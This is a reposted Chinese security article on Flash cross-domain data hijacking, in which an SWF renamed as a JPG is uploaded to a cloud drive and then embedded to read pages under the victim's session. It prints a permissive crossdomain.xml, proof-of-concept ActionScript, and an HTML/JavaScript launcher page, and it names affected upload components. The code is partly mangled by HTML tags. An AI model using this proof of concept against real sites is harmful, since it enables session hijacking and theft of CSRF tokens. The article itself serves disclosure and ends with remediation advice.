Flash跨域数据劫持漏洞

  • A+
所属分类:安全文章

flash跨域策略crossdomain.xml文件限制不严,造成flash csrf。

看crossdomain.xml

<?xml version="1.0"?>

  <cross-domain-policy> <site-control permitted-cross-domain-policies="all" />

    <allow-access-from domain="*" />

    <allow-http-request-headers-from domain="*" headers="*"/>

</cross-domain-policy>


1:permitted-cross-domain-policies为all造成加载目标域上的任何文件作为跨域策略文件,甚至是一 个JPG也可被加载为策略文件![使用此选项那就等着被xx吧!]

2:allow-access-from 设为“*”任何的域,有权限通过flash读取本域中的内容。

3:allow-http-request-headers-from header设个“*”允许发送任何消息头。





0×01,背景

很多上传文件的后端逻辑在实现时,仅仅验证了文件后缀名和Content-Type,没有对上传文件的内容进行验证。通常情况下这样的处理逻辑仅仅是不严谨,不会造成太大的安全隐患。但经过笔者测试,发现object标签在包含flash文件时没有对嵌入的文件后缀进行判断。也就是说,只要文件内容包含了正常的flash文件代码,就能够被object标签成功加载并执行。而ActionScript中又提供了多种API能够让Flash发送网络请求。这样如果能够将任意后缀的Flash文件上传到目标域中,就能够在攻击者可控的域下让受害者访问一个精心构造的恶意页面,来对目标域进行跨域的数据劫持,获取受害者当前Session下的CSRF Token,以受害者的身份打开目标域的任何特权页面,进行特权操作。

0×02,利用条件

  • 目标网站的文件上传逻辑没有验证文件内容;

  • 上传的文件没有做域隔离处理;

  • 服务端没有强制设置Content-Disposition响应头;

  • 访问上传的文件没有session限制;


0×03,攻击场景构造:

首先需要构造一个poc swf文件能够对外发送http请求,这里只做演示用,因此只实现了发送简单的GET请求,代码如下:

  1. <p style="margin-bottom: 10px;">importflash.net.URLLoader;</p><p style="margin-bottom: 10px;">importflash.net.URLRequest;</p><p style="margin-bottom: 10px;">importflash.net.URLLoaderDataFormat;</p><p style="margin-bottom: 10px;">importflash.net.URLVariables;</p><p style="margin-bottom: 10px;">importflash.events.Event;</p><p style="margin-bottom: 10px;">importflash.events.HTTPStatusEvent;</p><p style="margin-bottom: 10px;">importflash.events.IOErrorEvent;</p><p style="margin-bottom: 10px;">importflash.events.ProgressEvent;</p><p style="margin-bottom: 10px;">importflash.events.SecurityErrorEvent;</p><p style="margin-bottom: 10px;">importflash.display.LoaderInfo;</p><p style="margin-bottom: 10px;">importflash.system.Security;</p><p style="margin-bottom: 10px;">Security.allowDomain("*");</p><p style="margin-bottom: 10px;">varurlObj:Object = LoaderInfo(this.root.loaderInfo).parameters.url;</p><p style="margin-bottom: 10px;">varrequest:URLRequest = new URLRequest(urlObj.toString());</p><p style="margin-bottom: 10px;">request.method= URLRequestMethod.GET;</p><p style="margin-bottom: 10px;">   </p><p style="margin-bottom: 10px;">varloader:URLLoader = new URLLoader();</p><p style="margin-bottom: 10px;">itemScroll.x= response.x+response.width;</p><p style="margin-bottom: 10px;">itemScroll.y= response.y;</p><p style="margin-bottom: 10px;">itemScroll.height= response.height;</p><p style="margin-bottom: 10px;">   </p><p style="margin-bottom: 10px;">loader.dataFormat= URLLoaderDataFormat.TEXT;</p><p style="margin-bottom: 10px;">loader.addEventListener(Event.COMPLETE,loader_complete);</p><p style="margin-bottom: 10px;">loader.load(request);</p><p style="margin-bottom: 10px;">   </p><p style="margin-bottom: 10px;">functionloader_complete (e:Event):void {</p><p style="margin-bottom: 10px;">         trace("Event.COMPLETE");</p><p style="margin-bottom: 10px;">         trace("Resp Data :n" + loader.data);</p><p style="margin-bottom: 10px;">         response.text = loader.data;</p><p style="margin-bottom: 10px;">         itemScroll.scrollTarget = response;</p><p style="margin-bottom: 10px;">}</p>

首先使用了LoaderInfo(this.root.loaderInfo)从object标签的flashVars参数中提取出要访问的URL,再使用URLLoader对该URL发送GET请求,响应结果回显到一个Text控件中,用作验证。

接下来构造一个页面用于包含swf文件,代码如下:

<p style="margin-bottom: 10px;"><html></p><p style="margin-bottom: 10px;"><head></p><p style="margin-bottom: 10px;"><title>FlashCSRF POC by pnig0s@FreeBuf</title></p><p style="margin-bottom: 10px;"></head></p><p style="margin-bottom: 10px;"><body></p><p style="margin-bottom: 10px;"><h2>FlashCSRF POC by pnig0s@FreeBuf</h2></p><p style="margin-bottom: 10px;"><div></p><p style="margin-bottom: 10px;">swf url:<inputtype="text" id="swfurl" style="width:500"></br></p><p style="margin-bottom: 10px;">hijackurl:<input type="text" id="csrfurl"style="width: 500"></br></p><p style="margin-bottom: 10px;"><inputtype="button" value="submit" id="submit"></p><p style="margin-bottom: 10px;"></div></p><p style="margin-bottom: 10px;"><iframename="swf" style="width:1000;height:1000"></iframe></p><p style="margin-bottom: 10px;"><script></p><p style="margin-bottom: 10px;">functionwriteflashobject(url,parastr) {</p><p style="margin-bottom: 10px;">swf =window.frames["swf"];</p><p style="margin-bottom: 10px;">swf.document.write("<objectclassid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0"width="1000" height="1000" id="FlashVars"align="middle">n");</p><p style="margin-bottom: 10px;">swf.document.write("<paramname="allowScriptAccess" value="always"/>n");</p><p style="margin-bottom: 10px;">swf.document.write("<paramname="movie" value="FlashVars.swf" />n");</p><p style="margin-bottom: 10px;">swf.document.write("<paramname="FlashVars" value=""+ parastr +""/>n");</p><p style="margin-bottom: 10px;">swf.document.write("<paramname="quality" value="high" />n");</p><p style="margin-bottom: 10px;">swf.document.write("<paramname="bgcolor" value="#ffffff" />n");</p><p style="margin-bottom: 10px;">swf.document.write("<embedsrc=""+url+"" quality="high"bgcolor="#ffffff" width="550" height="400"name="FlashVars" align="middle" allowScriptAccess="always"FlashVars=""+ parastr +""type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"/>");</p><p style="margin-bottom: 10px;">swf.document.write("</object>");</p><p style="margin-bottom: 10px;">}</p><p style="margin-bottom: 10px;">functionget (name) {</p><p style="margin-bottom: 10px;">                   var query =window.location.search.substring(1);</p><p style="margin-bottom: 10px;">                   var pairs =query.split("&");</p><p style="margin-bottom: 10px;">                   for (var i = 0; i<pairs.length; i++)</p><p style="margin-bottom: 10px;">                   {</p><p style="margin-bottom: 10px;">                            var pos=pairs[i].indexOf('=');</p><p style="margin-bottom: 10px;">                            if(pos ==-1)continue;</p><p style="margin-bottom: 10px;">                            var argname =pairs[i].substring(0,pos);</p><p style="margin-bottom: 10px;">                            var value =pairs[i].substring(pos+1);</p><p style="margin-bottom: 10px;">                            if (argname == name){return value;}</p><p style="margin-bottom: 10px;">                   };</p><p style="margin-bottom: 10px;">         }</p><p style="margin-bottom: 10px;">varsubmit = document.getElementById("submit");</p><p style="margin-bottom: 10px;">submit.addEventListener("click",function() {</p><p style="margin-bottom: 10px;">         var swfurl =document.getElementById("swfurl").value;</p><p style="margin-bottom: 10px;">         var param="url="+document.getElementById("csrfurl").value;//"url="+get("csrfurl");</p><p style="margin-bottom: 10px;">         writeflashobject(swfurl,param);</p><p style="margin-bottom: 10px;">         return false;</p><p style="margin-bottom: 10px;">});</p><p style="margin-bottom: 10px;"></script></p><p style="margin-bottom: 10px;"></body></p><p style="margin-bottom: 10px;"></html></p>

最终的效果如图:

0×03,漏洞利用

这里以某知名厂商提供的云盘服务进行测试,演示该漏洞的利用过程。访问该云盘服务的文件上传页面。

将之前写好的swf文件后缀修改为jpg并上传,服务端没有检查文件内容,文件上传成功。

将该文件设置成共享状态,这一步是为了让最终的文件访问链接摆脱session状态的限制,能够被其他任何用户访问到。

最终在图片预览状态通过Chrome的DeveloperTool找到图片的直接访问链接。形如:

  1. http://xxx.com/intf.php?method=Preview.outputPic&xid=178xxx535&fname=%2Freq.jpg&fhash=f9cefd7e900xxxxxx6d47cd5909796e1b9&dt=24.01xxxxxxd8c91c6fefad848&v=1.0.1&rtick=14008172544583&open_app_id=0&devtype=web&sign=8895bd6844bxxxxxx15e42a8b&

通过之前构造的html页面,使用object包含上面的链接,swf文件能够被正常的执行,当其他用户访问该页面,会以该用户的身份打开指定的页面,造成跨域数据劫持,此时Anti-CSRF已经形同虚设,可以获取CSRF Token,访问特权页面,进行特权操作。

0×04,影响范围

经过笔者测试,国内各知名互联网厂商,各云存储提供商均受到该问题的影响。除此之外,经过测试,一些知名的开源上传组件如UEditor,CKEditor,KindEditor,XhEditor,Ewebeditor等也均受到该问题的影响。更多其他厂商及Web应用暂未做更多测试,不过可以预见受该问题影响的站点数量较多。

0×05,修复建议

  • 根据之前提到过的利用条件,修复的方法也就显而易见了。

  • 对上传文件内容进行检查:当然这并不容易,除了jpg类型,能够直接在线访问的文件类型很多,尤其对于云存储服务,以及有些服务功能性上的需要,难以全部进行验证。

  • 强制设置Content-Disposition响应头:设置该头部后能够强制浏览器对文件执行下载操作。但是对国内一些服务测试的过程中也发现了一个问题,有些直接在URL中加了类似downloadtype=1这类参数,直接设置成0就不会强制下载了。所以建议这种参数不要暴露在url中。

  • 进行域隔离:这个没什么说的,尤其对于一些云盘,云存储的服务,对于用户上传的文件不做域隔离的都是耍流氓的行为。


本文始发于微信公众号(LemonSec):Flash跨域数据劫持漏洞

发表评论